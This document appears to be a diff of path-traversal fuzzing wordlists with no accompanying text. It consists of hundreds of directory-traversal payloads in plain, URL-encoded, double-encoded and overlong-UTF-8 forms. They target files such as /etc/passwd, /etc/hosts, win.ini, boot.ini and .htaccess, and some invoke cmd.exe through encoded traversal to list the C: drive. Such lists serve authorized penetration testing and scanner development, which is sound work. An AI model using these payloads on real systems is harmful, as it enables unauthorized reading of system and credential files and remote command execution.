0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
|
||||
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
|
||||
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
|
||||
0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}
|
||||
..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
|
||||
..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}
|
||||
%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}
|
||||
%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}
|
||||
..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
|
||||
..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}
|
||||
%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}
|
||||
%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}
|
||||
///%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
|
||||
\\\%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
|
||||
..//{FILE}
|
||||
..//..//{FILE}
|
||||
..//..//..//{FILE}
|
||||
..//..//..//..//{FILE}
|
||||
..//..//..//..//..//{FILE}
|
||||
..//..//..//..//..//..//{FILE}
|
||||
..//..//..//..//..//..//..//{FILE}
|
||||
..//..//..//..//..//..//..//..//{FILE}
|
||||
..///{FILE}
|
||||
..///..///{FILE}
|
||||
..///..///..///{FILE}
|
||||
..///..///..///..///{FILE}
|
||||
..///..///..///..///..///{FILE}
|
||||
..///..///..///..///..///..///{FILE}
|
||||
..///..///..///..///..///..///..///{FILE}
|
||||
..///..///..///..///..///..///..///..///{FILE}
|
||||
..\\{FILE}
|
||||
..\\..\\{FILE}
|
||||
..\\..\\..\\{FILE}
|
||||
..\\..\\..\\..\\{FILE}
|
||||
..\\..\\..\\..\\..\\{FILE}
|
||||
..\\..\\..\\..\\..\\..\\{FILE}
|
||||
..\\..\\..\\..\\..\\..\\..\\{FILE}
|
||||
..\\..\\..\\..\\..\\..\\..\\..\\{FILE}
|
||||
..\\\{FILE}
|
||||
..\\\..\\\{FILE}
|
||||
..\\\..\\\..\\\{FILE}
|
||||
..\\\..\\\..\\\..\\\{FILE}
|
||||
..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}
|
||||
./\/./{FILE}
|
||||
./\/././\/./{FILE}
|
||||
./\/././\/././\/./{FILE}
|
||||
./\/././\/././\/././\/./{FILE}
|
||||
./\/././\/././\/././\/././\/./{FILE}
|
||||
./\/././\/././\/././\/././\/././\/./{FILE}
|
||||
./\/././\/././\/././\/././\/././\/././\/./{FILE}
|
||||
./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}
|
||||
.\/\.\{FILE}
|
||||
.\/\.\.\/\.\{FILE}
|
||||
.\/\.\.\/\.\.\/\.\{FILE}
|
||||
.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}
|
||||
././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}
|
||||
.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}
|
||||
./../{FILE}
|
||||
./.././../{FILE}
|
||||
./.././.././../{FILE}
|
||||
./.././.././.././../{FILE}
|
||||
./.././.././.././.././../{FILE}
|
||||
./.././.././.././.././.././../{FILE}
|
||||
./.././.././.././.././.././.././../{FILE}
|
||||
./.././.././.././.././.././.././.././../{FILE}
|
||||
.\..\{FILE}
|
||||
.\..\.\..\{FILE}
|
||||
.\..\.\..\.\..\{FILE}
|
||||
.\..\.\..\.\..\.\..\{FILE}
|
||||
.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
.\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}
|
||||
.//..//{FILE}
|
||||
.//..//.//..//{FILE}
|
||||
.//..//.//..//.//..//{FILE}
|
||||
.//..//.//..//.//..//.//..//{FILE}
|
||||
.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}
|
||||
.\\..\\{FILE}
|
||||
.\\..\\.\\..\\{FILE}
|
||||
.\\..\\.\\..\\.\\..\\{FILE}
|
||||
.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}
|
||||
../{FILE}
|
||||
../..//{FILE}
|
||||
../..//../{FILE}
|
||||
../..//../..//{FILE}
|
||||
../..//../..//../{FILE}
|
||||
../..//../..//../..//{FILE}
|
||||
../..//../..//../..//../{FILE}
|
||||
../..//../..//../..//../..//{FILE}
|
||||
..\{FILE}
|
||||
..\..\\{FILE}
|
||||
..\..\\..\{FILE}
|
||||
..\..\\..\..\\{FILE}
|
||||
..\..\\..\..\\..\{FILE}
|
||||
..\..\\..\..\\..\..\\{FILE}
|
||||
..\..\\..\..\\..\..\\..\{FILE}
|
||||
..\..\\..\..\\..\..\\..\..\\{FILE}
|
||||
..///{FILE}
|
||||
../..///{FILE}
|
||||
../..//..///{FILE}
|
||||
../..//../..///{FILE}
|
||||
../..//../..//..///{FILE}
|
||||
../..//../..//../..///{FILE}
|
||||
../..//../..//../..//..///{FILE}
|
||||
../..//../..//../..//../..///{FILE}
|
||||
..\\\{FILE}
|
||||
..\..\\\{FILE}
|
||||
..\..\\..\\\{FILE}
|
||||
..\..\\..\..\\\{FILE}
|
||||
..\..\\..\..\\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\..\..\\\{FILE}
|
||||
|
|
@ -1,132 +0,0 @@
|
|||
\..\WINDOWS\win.ini
|
||||
\..\..\WINDOWS\win.ini
|
||||
\..\..\..\WINDOWS\win.ini
|
||||
\..\..\..\..\WINDOWS\win.ini
|
||||
\..\..\..\..\..\WINDOWS\win.ini
|
||||
\..\..\..\..\..\..\WINDOWS\win.ini
|
||||
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69
|
||||
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
|
||||
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
|
||||
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
|
||||
%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
|
||||
..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
|
||||
../../../../../../../../../etc/passwd
|
||||
../../../../../../../../etc/passwd
|
||||
../../../../../../../etc/passwd
|
||||
../../../../../../etc/passwd
|
||||
../../../../../etc/passwd
|
||||
../../../../etc/passwd
|
||||
../../../etc/passwd
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
|
||||
../../../.htaccess
|
||||
../../.htaccess
|
||||
../.htaccess
|
||||
.htaccess
|
||||
././.htaccess
|
||||
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73
|
||||
%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73
|
||||
%2e%2e%2f%2e%68%74%61%63%63%65%73%73
|
||||
%2e%68%74%61%63%63%65%73%73
|
||||
%2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
|
||||
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
|
||||
%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
|
||||
%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
|
||||
%%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
|
||||
../../../../../../../../../../../../etc/hosts%00
|
||||
../../../../../../../../../../../../etc/hosts
|
||||
../../boot.ini
|
||||
/../../../../../../../../%2A
|
||||
../../../../../../../../../../../../etc/passwd%00
|
||||
../../../../../../../../../../../../etc/passwd
|
